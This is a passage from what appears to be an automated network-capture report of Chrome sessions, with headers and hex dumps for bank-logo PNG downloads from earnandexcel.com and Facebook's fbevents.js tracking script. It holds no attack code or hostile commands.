0a 11 1c 04 f7 a6 cd ad be e0 4b e4 86 43 4b Data Ascii: 4M~`xwA`h\:e5L$:ZzfZ,mZL:0~Qnkx.bc~@q}v&"0"$h&K)mY^]rwc>>KU`& ]<g>f%p\|;oiQ-@fV%~pcW4s%?1TVKCK
2024-04-11 21:26:49 UTC	589	IN	Data Raw: 53 a4 28 ed d1 e7 96 7d ba 4f b6 51 5c 5f 3f ce fd 09 47 0c 77 68 e5 5b 12 be c9 3d b8 6d e6 c4 fc fb b7 6d af ee fb b6 e4 fd 9e 76 da 0b 67 ba de f7 ec f5 ad f9 12 00 df 7b 69 f2 ac 33 4b 98 ec 35 0e db 9f 3a 25 24 6f a4 11 b6 46 dd b4 71 4d 7b e6 54 02 ad 2d 70 ad f9 df 34 bd 75 d3 68 12 7f af 3c 12 de 24 b5 45 8d d2 0c ad 56 e3 03 90 fe ce f9 1d d3 93 f4 8e 99 53 3e 03 00 86 77 9c 4e b4 fb 98 46 34 8f 90 e4 66 74 44 6a 52 37 83 a5 15 22 46 93 bc 5f 97 78 6e 85 5c df 7b ee 96 a8 1b 68 ae 49 63 9c 33 55 ea e3 7c 6b dd 75 a6 43 60 8d d1 67 df 77 a4 64 db fc db 6f b8 0e b4 1b bc fb b9 f5 a5 cf f1 c5 11 20 6c b3 28 9a de 28 ee df 18 da 56 9f b7 19 9a 56 fc 9f fd e1 38 07 4f b4 81 99 44 33 48 94 91 fc 18 bd 10 6b 19 e8 a4 7e 3e 81 bd f0 29 0d e1 33 20 00 46 Data Ascii: S(}OQ\_?Gwh[=mmvg{i3K5:%$oFqM{T-p4uh<$EVS>wNF4ftDjR7"F_xn\{hIc3U\|kuC`gwdo l((VV8OD3Hk~>)3 F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
163	192.168.2.17	49910	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	926	OUT	GET /wp-content/uploads/LLOYDS-BANK.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:49 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 4801 Connection: close CF-Ray: 872e0ea019198c89-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f0-12c1" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:24 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DJiFGgVLQeWAGicMtbcC1d29h4H6qbg4QMDQN4yK%2FgLeylZ7%2FWyQWype1AUAo3z%2F7QlFLFWuRqOfl9SQwYCysq%2FSeK%2F81JEajylwtFQF2l71C4WzJSy%2BQso4QyR5L2Blq3A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	460	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c2 00 00 00 31 08 06 00 00 00 88 e7 76 86 00 00 12 88 49 44 41 54 78 da ec 5a 59 48 56 5b 14 36 2a 8a a2 89 e6 99 68 20 1a 28 22 2a 82 8a a0 20 1a a1 7a 88 88 4b 34 11 15 41 f3 08 d1 f0 92 13 2a 22 8a 03 8a 8a 0a 0e 0f a2 28 2a ea 83 22 a2 3e 38 0f 88 a0 22 8a 13 ce b3 df e5 5b b0 e0 b0 f9 e5 06 f7 f7 de 8c fd c1 e6 9c b3 cf de fb ec 73 ce fa d6 5e c3 f6 80 85 85 9b 31 3d 3d fd af ca ff 01 0f 58 58 58 22 58 22 58 58 22 58 22 58 58 22 58 22 58 58 22 58 22 58 cc 22 26 27 27 41 0c 0c 0c a0 af af 0f 53 53 53 20 92 92 92 10 1f 1f 8f 91 91 11 98 98 98 98 80 1e 4d 58 22 58 fc 31 e8 ec ec c4 ab 57 af b0 6d db 36 78 7b 7b cb 79 5d 5d 9d 12 47 56 82 e1 e1 61 b8 80 25 82 c5 dc 06 35 bf 1e 07 07 07 11 1d 1d 8d Data Ascii: PNGIHDR1vIDATxZYHV[6h (" zK4A"(">8"[s^1==XXX"X"XX"X"XX"X"XX"X"X"&''ASSS MX"X1Wm6x{{y]]GVa%5
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 32 12 1f 3e 7c c0 ea d5 ab b1 70 e1 42 7c fc f8 11 bb 77 ef c6 da b5 6b b1 62 c5 0a 7c f9 f2 05 3f 7e fc 10 52 1c 3c 78 10 35 35 35 30 60 89 60 31 bb d1 1c 62 74 74 14 0a 3a b7 b4 e9 69 ab ab 8d af ed 59 af e0 f9 af ae 06 71 71 71 d8 b4 69 93 44 8b da db db 41 ec dd bb 57 ea 96 2d 5b 86 e7 cf 9f e3 f5 eb d7 e2 38 7f fa f4 09 0a fa 0a 9c 8f 63 0e 96 08 16 ee c5 d8 d8 98 53 f8 cd a4 16 35 b9 0a bc de 57 7b 5f fb 98 c4 60 5f d6 f3 e8 ec 2b 63 fd fc f9 53 42 a7 04 1d e6 2d 5b b6 c8 ea b0 79 f3 66 b9 f7 f0 e1 43 59 11 9e 3e 7d aa ce b6 93 a8 3a 07 bd 67 89 60 e1 06 18 d9 5b 6a 7f 15 30 d6 1b 8e 2e e3 ff 46 bf 7f 16 46 73 c5 68 6b 6b 83 e2 de bd 7b b2 12 a8 29 e4 e3 e3 83 2b 57 ae 60 c1 82 05 62 42 35 36 36 3a 9f 27 44 00 ac 69 64 31 0b 50 e1 37 c9 e1 14 f0 d2 Data Ascii: 2>\|pB\|wkb\|?~R<x5550``1btt:iYqqqiDAW-[8cS5W{_`_+cSB-[yfCY>}:g`[j0.FFshkk{)+W`bB566:'Did1P7
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 00 ed f9 4b 83 b2 78 29 cb 0b b8 6c c2 62 20 d5 d0 de be 7d eb 95 3f c1 5a 9e 55 b3 0a fe 1e 8c f2 f1 e3 c7 b0 98 67 8f 2c c4 bb 77 ef 7c 7a 9a 2e ec 5c 83 c7 91 d3 7e f2 e4 c9 e2 f9 f3 e7 9e 69 7b 40 f5 36 16 20 1e 25 00 c5 90 e3 39 2f 5e bc 48 fe 5d 16 64 32 5b 13 60 ca 90 3c 7b f6 6c f1 e1 c3 87 49 af 24 8b a3 0f c6 e0 dc ee 5d 8c e5 d1 a3 47 24 4a bc 98 d4 e7 c8 d6 f4 f6 e3 c7 0f 6b 25 c8 1d f7 aa fd ea 46 75 fb f6 6d ac 0e 7c e2 03 e3 d1 cf 51 04 bb 70 e1 c2 62 eb d6 ad 00 0b c8 7e 27 7d 18 03 f0 8f ef 36 6d da e4 27 0f 00 f4 3e 3c 02 c3 70 ae e3 c0 cf 68 64 8d 3c 87 c1 0c 0f 73 f7 ee dd c5 f6 ed db 9d 17 8f 67 bd 23 a1 14 dd 2a 49 f4 02 dc ea 1b 82 85 de bf 7f ff 70 69 df be 7d 9b 64 43 e0 10 0c 09 9a 80 32 19 8b 00 3f 03 01 b4 4b 97 2e 99 00 ac 61 Data Ascii: Kx)lb }?ZUg,w\|z.\~i{@6 %9/^H]d2[`<{lI$]G$Jk%Fum\|Qpb~'}6m'><phd<sg#*Ipi}dC2?K.a
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 89 c5 64 74 b6 49 f7 37 80 f5 bd e4 16 88 fc 10 50 07 40 75 9f 0b ed 6c 12 69 f5 9e c1 01 88 04 d2 b4 24 e0 bc 7a f5 2a 2e 5f 40 6c a1 b9 7c 41 9d 38 00 58 4c 64 ee 4f 5a 60 31 d5 cd e4 dd eb 82 e8 3b 4d 2d 96 48 26 0c fb 02 13 26 62 6c 24 8f ad 03 b5 26 d2 d3 af a4 11 83 e6 d9 04 da 98 5b a0 e8 5a b9 78 20 ac 4c a9 e8 44 16 8d 18 4a 13 d8 33 1a 12 89 26 0e 23 ea 17 a0 c7 cb 5d b9 72 45 9f 48 3d cf 16 88 33 5c 19 1d f7 66 08 92 13 00 8a 80 5c cb ab a4 bf 75 0d cd 61 2f e6 65 be 43 68 8e 1b 1b cf 42 e2 31 56 6b 41 96 f2 06 8c 40 00 2b c3 17 d6 fe 5d 43 d0 cf cc b5 79 b7 45 9b c7 44 94 cb 65 08 59 54 ec 0c 9c aa 8d f5 85 8c 9a 86 93 4e 04 44 ec 92 56 0d c2 40 4d b0 85 ed 1a 0f 20 e2 11 04 c1 00 2b a0 0d eb 7c fa f4 89 a7 19 80 db b5 6b 97 00 b9 ef 84 04 82 Data Ascii: dtI7P@uli$z*._@l\|A8XLdOZ`1;M-H&&bl$&[Zx LDJ3&#]rEH=3\f\ua/eChB1VkA@+]CyEDeYTNDV@M +\|k
2024-04-11 21:26:49 UTC	234	IN	Data Raw: 30 2c 63 46 a2 c6 3b 77 4f 93 14 78 32 55 5d 46 ff 0d 6d 36 84 b9 4d 4a df 0a 76 92 4f fc 27 c5 ad 7a dc df 67 20 65 c4 2b b2 48 12 0e a4 67 7d eb ad 56 af 97 b5 cd 86 30 b7 c9 d6 65 90 94 2f a0 27 cb 96 58 21 f1 13 29 24 e3 67 0b 3c 0f 21 a0 8e 31 d5 57 76 97 b5 cd 86 30 b7 a9 26 c3 55 33 38 02 70 db 57 24 1c ea 6b 9e 98 3f 4c af 46 21 7b 56 13 17 0c 66 f6 08 73 fb 7b 5b 00 0c f0 29 0e d6 17 8b 5a 9b dc a2 91 f3 ff 86 36 1b c2 dc 26 41 dd 5b 7f 3f b8 16 b9 ea df 52 d1 f9 ae ef 61 ca f6 fb 65 6c b3 21 cc ad b7 fe 0a 67 aa e8 7d 2b 7a cd f5 fb fc ab 77 49 ad 62 59 db 6c 08 73 9b db 6c 08 73 9b db 6c 08 73 9b db 6c 08 73 9b 5b 6d ff 00 4a 51 1f 3f cf 91 bf 56 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 0,cF;wOx2U]Fm6MJvO'zg e+Hg}V0e/'X!)$g<!1Wv0&U38pW$k?LF!{Vfs{[)Z6&A[?Rael!g}+zwIbYlslslsls[mJQ?VIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
164	192.168.2.17	49909	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1160	OUT	GET /wp-content/uploads/BARCLAYS.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801
2024-04-11 21:26:49 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:49 GMT Content-Type: image/png Content-Length: 6482 Connection: close CF-Ray: 872e0ea02ccb42b9-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df330f-1952" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:55 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i1loPb62COB6RwGEg%2B7q8U1NprrVWOvGhfMPUY6KG0dr5yD%2B8UwSPxXHFzNQzHjb%2B6J44GXVYhSU4qKaHe0S759fTkrpZmfzqmVRvBcDPyAT52HQ1vLcPSwC944hN4lMLlk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:49 UTC	466	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 3f 08 06 00 00 00 43 e6 4c 7b 00 00 19 19 49 44 41 54 78 da ec 98 c7 6b 5c 31 10 c6 f3 87 e6 98 4b 42 0e 81 f4 de 7b ef bd 5e 42 42 1a c6 36 b8 61 8c 0d ee bd 1e 6c 63 83 7b ef dd 9e f0 13 7c 20 84 df ee da 3e 78 0f fa 40 bc b7 7a 9a d1 cc a7 99 91 b4 07 2c 22 22 62 47 38 60 11 11 11 31 69 22 22 62 d2 44 44 64 11 62 d2 44 44 c4 a4 89 88 88 49 13 11 91 55 88 49 13 11 11 93 26 22 22 26 4d 44 44 56 21 26 4d 44 44 4c 9a 88 88 98 34 11 11 59 85 98 34 11 11 d9 98 34 4b 4b 4b b6 b2 b2 62 60 75 75 d5 16 17 17 0d 6c 6c 6c d8 d6 d6 96 81 f5 f5 75 5b 5e 5e b6 b5 b5 35 53 bf c0 3b 2d 04 32 e8 46 a7 3f 76 73 73 d3 a4 7f 7e 7e 5e 7a d5 0f 78 a7 0f bb 90 49 6c a1 3e 7f 2e e4 f5 c4 16 8d f3 e7 90 df b2 Data Ascii: PNGIHDR?CL{IDATxk\1KB{^BB6alc{\| >x@z,""bG8`1i""bDDdbDDIUI&""&MDDV!&MDDL4Y44KKKb`uulllu[^^5S;-2F?vss~~^zxIl>.
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 62 a2 a8 30 65 02 ed da 82 57 ec e4 97 f8 0f 75 8a 43 f1 b2 dd da 84 6b 26 6e 68 1a 17 fa 11 26 8e 78 0e 8b 69 76 1e cf 26 27 27 31 4e 86 bb 60 99 99 99 b1 e1 e1 61 9b 98 98 c0 78 3f d8 32 ad 6e 7e 25 de cb 8e 80 6c ba 96 b8 0b 0a 4a 56 bf aa e1 67 68 af e0 05 cf 5e 17 51 72 e1 5c 2a 48 be 8f 19 e9 da 05 74 54 4e 75 12 11 67 e1 37 b8 4a 67 cf 6e 4e 14 fc 0e e3 23 e4 20 3b 92 46 86 fa d5 53 18 18 18 b0 82 82 02 fb f9 f3 a7 7d fd fa d5 de bc 79 63 2f 5f be b4 ea ea 6a dd 73 9c 9c 9c 5f 58 58 b0 d9 d9 59 fa 48 26 dd 8d f4 5d f7 a0 54 b6 a8 da 48 86 e6 ef 42 c8 67 92 30 3c 53 56 49 d9 97 04 05 b0 2a 2e fe d2 b4 90 34 7d 53 d3 0e 99 06 be 2c fa 68 49 72 8c c1 4e 1a ef aa ee f0 2a 39 cd 9d 69 12 c9 7f d6 4b fe 68 e7 d1 1c 49 f7 d3 70 47 13 4f db 16 47 be 85 8d Data Ascii: b0eWuCk&nh&xiv&''1N`ax?2n~%lJVgh^Qr\HtTNug7JgnN# ;FS}yc/_js_XXYH&]THBg0<SVI.4}S,hIrN*9iKhIpGOG
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 7d e2 e3 95 2b 57 5e ce 76 f7 ee 5d 73 a0 e0 22 d1 aa e8 47 47 62 b0 c7 fd 94 54 9e ea 6c 0e f7 ef df 7f 25 2a 69 68 c7 4b fc c0 4b e7 ab 57 af 82 60 8d 3b 65 01 72 31 4a 06 6e 9e e6 55 c4 c4 23 7c c0 3f 8e 01 3f f0 80 be ec a0 df cd 9b 37 f1 60 27 ef bf ff fe fb e5 ed db b7 4f 5f 08 20 d4 87 0f 1f 52 50 42 e3 45 28 81 49 8a 22 45 19 0c 21 a4 04 2c 8c 63 b4 f3 0e 87 d7 78 02 d7 64 38 26 fa d9 67 9f 11 68 21 3c dc 3c 61 1a 26 25 04 fd a3 21 d8 e7 80 e7 09 2b 8f 88 89 bc 16 03 0f 8e 54 95 59 73 12 b8 1c fc 20 1c 87 fe 19 bd fb cd 31 28 d6 39 9a 66 f5 8e 73 a0 48 60 05 c1 32 18 fd fa 0d 9d 20 19 87 83 2e 7c 74 ad 39 83 12 af d0 f3 e4 c9 13 f3 e4 04 d0 42 51 c1 3f 30 66 56 c3 76 e7 17 2f 5e 88 28 78 c9 40 67 e5 0c 44 45 0b 2f 6c 5e 64 01 19 1c 6d 34 45 7e e8 Data Ascii: }+W^v]s"GGbTl%*ihKKW`;er1JnU#\|??7`'O_ RPBE(I"E!,cxd8&gh!<<a&%!+TYs 1(9fsH`2 .\|t9BQ?0fVv/^(x@gDE/l^dm4E~
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: de ac c4 95 77 aa fa 63 92 14 10 83 c1 0e 78 9d b1 fc f1 c7 1f 8c 65 67 00 df 7e fb ed cb 0f 3e f8 80 62 ad 24 b4 af 4b 94 c3 64 0a 60 cc 22 8a 43 ff 41 40 74 f2 ce 97 6e e3 d0 60 68 fd 88 74 60 50 38 19 ee 26 68 0a 4e e9 5c c3 40 b5 56 d8 a7 67 15 e5 18 0b 1a 28 3c 05 a1 a0 f2 30 06 5c f4 71 98 b7 6b 8d a1 cd c2 84 39 56 c4 58 15 63 85 3f 15 22 d6 d6 fe 30 87 c8 8d 26 3c c3 27 91 6d cd 67 e2 cb 9a 07 3c 78 f0 00 3f c9 08 1d 94 19 ad 22 42 89 7d 3c af 2a b6 46 e3 f8 24 9a b7 ce 82 37 95 ae e9 03 83 61 1c eb 56 ad fa d2 b7 6b 8d 67 1e 20 ad fb 5b eb 22 6b 63 ac 8f 33 9c 76 9d 46 28 e5 f1 4c d6 19 a1 8c c3 44 4c 80 80 5b 91 2f 8f 31 29 c6 43 c9 83 67 a2 8d 89 52 1a 30 8d a2 f2 62 fe 16 6d 3e fa e8 23 0a 6f cc 04 39 b7 82 f3 7a fa ae d8 40 70 c6 33 2e 7a 32 Data Ascii: wcxeg~>b$Kd`"CA@tn`ht`P8&hN\@Vg(<0\qk9VXc?"0&<'mg<x?"B}<*F$7aVkg ["kc3vF(LDL[/1)CgR0bm>#o9z@p3.z2
2024-04-11 21:26:49 UTC	1369	IN	Data Raw: 72 ce 21 45 cb 5a 60 28 8a 56 36 c6 e3 35 d2 cd 6a 9e 3c 28 b9 ee 2d e2 68 f2 40 34 a0 d9 f8 e8 26 6b 50 ef a4 eb 34 6b e9 8f 50 2d 70 f1 96 20 15 ef 2b c1 9d bb 50 33 1a c9 be e8 22 77 91 1b f0 ba 18 f6 c3 0f 3f a8 46 ed 84 fa f6 db 6f 9b f4 64 ca 4c 0c 31 2c a3 a1 e4 ae 05 99 32 82 b9 90 d6 de ad f9 f4 a8 f1 ac 09 f4 d2 0c 46 82 6e f4 51 80 b5 1a 25 31 9d b9 01 43 af b8 a0 bf b9 4b b8 eb 18 00 85 70 9d 43 f2 dc fd c1 37 f0 0c 5f 38 9d 8a 06 68 6e dc 60 70 e5 69 30 c6 98 a0 5e b0 b5 31 57 6f 9e e7 a5 68 8c 5a bf 8c 26 a8 c9 90 7b 8c 23 a3 29 47 48 49 dd 87 6e c6 8d 86 22 41 af 50 72 44 6f 51 89 c2 b6 da cf 70 ca 6b ba ae b9 b9 97 fc 2b a7 e3 bf bc b1 7e a6 b1 84 06 e8 97 2a de dc 7f b8 2f aa 32 6e 34 94 c3 92 2f 5e 9c ee c9 cd 12 b4 26 6e db 03 c5 c7 fc Data Ascii: r!EZ`(V65j<(-h@4&kP4kP-p +P3"w?FodL1,2FnQ%1CKpC7_8hn`pi0^1WohZ&{#)GHIn"APrDoQpk+~*/2n4/^&n
2024-04-11 21:26:49 UTC	540	IN	Data Raw: 98 23 be c9 59 18 b0 ad 43 20 14 63 c9 b0 e7 2a 3c 85 05 7d 7b c5 55 f4 ca 21 1d 3e e3 83 fc 08 ad 9c 8c eb cc 0d 9f 7a b1 fc d1 fc 71 2f 27 84 bf 78 a1 8f d9 8c c7 90 d1 63 7c 3c 42 53 f2 0e 0a 8f d6 0b f0 e9 08 5a f1 45 94 e6 14 cd 9d a1 e0 53 51 3c be ea 2f bd 39 8d d1 c0 e0 b5 55 30 35 44 12 24 c3 c9 50 44 16 fb c9 18 8b 02 00 c3 a1 1c 26 5e eb d5 3c a3 9f 0c b2 d6 75 ed 81 5b 1f be ea 38 f8 b6 c7 f6 4c 1d 68 47 c1 8f 49 d3 fa 39 63 a7 64 b5 92 60 67 c7 6c 93 96 0c 63 ce 93 82 f4 5d 86 3a 5a 8e eb ff 81 d9 97 45 f5 a2 d4 bf e1 cf 2c 17 77 0e 21 e8 af 45 c6 f5 ed 98 eb 8e 81 ee bf 68 a7 43 ef ca ab 2a e7 98 bc ca 50 ce e3 5f 6d 10 64 93 48 39 22 7a c5 ed aa 19 4a cb 1f 7e f8 a1 6d 32 60 1a 23 92 1c 4e c1 63 c0 45 82 5d d7 4e 12 ea 0a 43 1c b3 5f c7 ec Data Ascii: #YC c<}{U!>zq/'xc\|<BSZESQ</9U05D$PD&^<u[8LhGI9cd`glc]:ZE,w!EhCP_mdH9"zJ~m2`#NcE]NC_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
165	192.168.2.17	49911	31.13.71.7	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	537	OUT	GET /en_US/fbevents.js HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:49 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-04-11 21:26:49 UTC	1426	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 74 65 3d 28 29 2c 20 64 69 73 70 6c Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), displ
2024-04-11 21:26:49 UTC	1	IN	Data Raw: 2f Data Ascii: /
2024-04-11 21:26:49 UTC	14911	IN	Data Raw: 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 74 Data Ascii: * Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wit
2024-04-11 21:26:49 UTC	16384	IN	Data Raw: 64 22 3a 69 28 61 29 29 21 3d 3d 22 6f 62 6a 65 63 74 22 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 78 74 2c 63 3d 61 2e 70 61 72 61 6d 65 74 65 72 5f 74 79 70 65 3b 61 3d 61 2e 76 61 6c 75 65 3b 62 3d 62 21 3d 6e 75 6c 6c 26 26 74 79 70 65 6f 66 20 62 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 62 21 3d 3d 22 22 3f 62 3a 6e 75 6c 6c 3b 63 3d 64 28 63 29 3b 61 3d 61 21 3d 6e 75 6c 6c 26 26 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 61 21 3d 3d 22 22 3f 61 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 62 21 3d 6e 75 6c 6c 26 26 63 21 3d 6e 75 6c 6c 26 26 61 21 3d 6e 75 6c 6c 3f 7b 63 6f 6e 74 65 78 74 3a 62 2c 70 61 72 61 6d 65 74 65 72 5f 74 79 70 65 3a 63 2c 76 61 6c 75 65 3a 61 7d 3a 6e 75 6c 6c 7d 66 75 6e 63 Data Ascii: d":i(a))!=="object")return null;var 